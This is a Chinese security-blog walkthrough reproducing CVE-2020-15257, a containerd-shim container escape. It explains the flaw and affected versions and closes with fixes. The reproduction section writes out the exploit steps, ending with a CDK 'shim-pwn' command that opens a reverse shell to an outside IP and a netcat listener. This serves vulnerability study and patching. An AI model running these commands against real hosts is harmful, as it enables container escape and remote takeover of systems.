freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2020-15257 Docker逃逸漏洞复现
2020-12-29 22:24:32

0x00漏洞简述

2020年12月01日,Containerd 官方发布安全更新,修复了 Docker 容器逃逸漏洞(CVE-2020-15257)。 Containerd 是一个控制 runC 的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。在特定网络条件下,攻击者可通过访问containerd-shim API,从而实现Docker容器逃逸。Containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。

0x01影响版本

containerd < 1.4.3

containerd < 1.3.9

0x02漏洞复现

虚拟机部署有漏洞的Containerd版本环境,这里我使用的版本是:1.3.3

docker version

1609250098_5feb35325a50edd1eaadd.png!small

  • 以 --net=host 方式启动容器

docker run -itd --net=host ubuntu:18.04

简要来说,containerd->containerd-shim->runc 的通信模型中,containerd-shim的接口作为abstract unix socket暴露,在docker使用net=host参数启动、与宿主机共享net namespace时,其中的unix socket可以被容器内部访问到,容器中攻击者通过该socket可以通过API控制下游runc进程启动新的恶意镜像,并通过该镜像逃逸。

1609250117_5feb35451bc83765c4ddc.png!small

  • 在容器内执行

cat /proc/net/unix|grep -a "containerd-shim"

1609250130_5feb35525a5cec7e3abeb.png!small

然后可看到抽象命名空间Unix域套接字。

  • 查看系统内核版本

uname -a

1609250148_5feb3564560cf957a56fb.png!small

1609250159_5feb356f230546f0c272b.png!small

  • 这里为了方便复现漏洞,直接把POC复制到docker中
  1. 首先查看当前docker镜像

docker ps

1609250170_5feb357abff8260acaa2c.png!small

  1. 将POC复制到docker容器

docker cp cdk_linux_386 1cd60293a80c:/tmp

  • 执行POC反弹shell,完成逃逸。

./cdk_linux_386 run shim-pwn 6.6.6.6 12999

1609250183_5feb358715358bc00b432.png!small

nc -lvp 12999

1609250193_5feb35915b2cbaa9f4ad9.png!small

0x03修复建议

1、升级 containerd 至最新版本。

2、通过添加如 deny unix addr=@**的AppArmor策略禁止访问抽象套接字。

0x04参考链接

https://mp.weixin.qq.com/s/8Zel4oPXdctUE1kotti8Yw

# Docker # 逃逸攻击
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者